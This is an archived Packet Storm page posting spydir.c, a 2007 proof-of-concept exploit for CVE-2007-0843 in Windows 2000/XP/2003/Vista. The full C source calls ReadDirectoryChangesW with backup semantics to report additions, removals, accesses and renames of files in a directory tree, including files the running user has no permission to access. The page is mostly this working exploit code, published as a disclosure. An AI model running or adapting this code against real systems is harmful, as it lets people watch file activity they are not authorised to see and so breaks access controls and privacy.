what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

spydir.c

spydir.c
Posted Feb 24, 2007
Authored by 3APA3A | Site securityvulns.com

Exploit that demonstrates the vulnerability in ReadDirectoryChangesW() for Microsoft Windows 2000/XP/2003/Vista.

tags | exploit
systems | windows
advisories | CVE-2007-0843
SHA-256 | 4478745e135e06387cd47d9eeaa660d45d71036448847dcdbc5d5e4abacc8449

spydir.c

Change Mirror Download
/*
Monitors directory changes
(c) 2006-2007 Vladimir Dubrovin, 3APA3A
https://securityvulns.com/
https://securityvulns.ru/
*/

#include <windows.h>
#include <stdio.h>
#include <string.h>


int main(int argc, char *argv[]){
HANDLE hDir;

char buf[1024];
FILE_NOTIFY_INFORMATION * fn;
int read;
WCHAR * action = NULL;

if(argc != 2) {
printf(
"Usage: %s <directory_path>\n"
" Monitor directory changes with all subdirectories\n"
" For any files, including ones you have no access\n"
" (as on January, 2007)\n"
"(c) Vladimir Dubrovin, 3APA3A\n"
" https://securityvulns.com\n"
" https://securityvulns.ru\n"
"This approach is not reliable and should not be used for audit and another critical operations.\n",
argv[0]);
return 1;
}

CreateDirectory(argv[1], 0);
hDir = CreateFile(
argv[1],
FILE_LIST_DIRECTORY,
FILE_SHARE_READ|FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
NULL
);
if(hDir == INVALID_HANDLE_VALUE){
fprintf(stdout, "Failed to open dir\n");
return 2;
}
for(;;){
if(!ReadDirectoryChangesW(
hDir,
buf,
1022,
1,
FILE_NOTIFY_CHANGE_DIR_NAME | FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_LAST_ACCESS |
FILE_NOTIFY_CHANGE_ATTRIBUTES | FILE_NOTIFY_CHANGE_SIZE | FILE_NOTIFY_CHANGE_LAST_WRITE |
FILE_NOTIFY_CHANGE_CREATION | FILE_NOTIFY_CHANGE_SECURITY
,
(DWORD *)&read,
NULL,
NULL
)) {
fprintf(stderr, "Failed to read directory changes\n");
break;
}
for (fn = (FILE_NOTIFY_INFORMATION *)buf; ;){
fn->FileName[fn->FileNameLength/2] = 0;
switch(fn->Action){
case FILE_ACTION_ADDED:
action = L"added";
break;
case FILE_ACTION_REMOVED:
action = L"removed";
break;
case FILE_ACTION_MODIFIED:
action = L"accessed/modified";
break;
case FILE_ACTION_RENAMED_OLD_NAME:
action = L"renamed (old name)";
break;
case FILE_ACTION_RENAMED_NEW_NAME:
action = L"renamed (new name)";
break;
default:
action = L"(unknown)";
}
wprintf(L"File %s: %s\n", action, fn->FileName);
if(!fn->NextEntryOffset) break;
fn = (FILE_NOTIFY_INFORMATION *)(((char *)fn) + fn->NextEntryOffset);
}
}
return 0;

}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close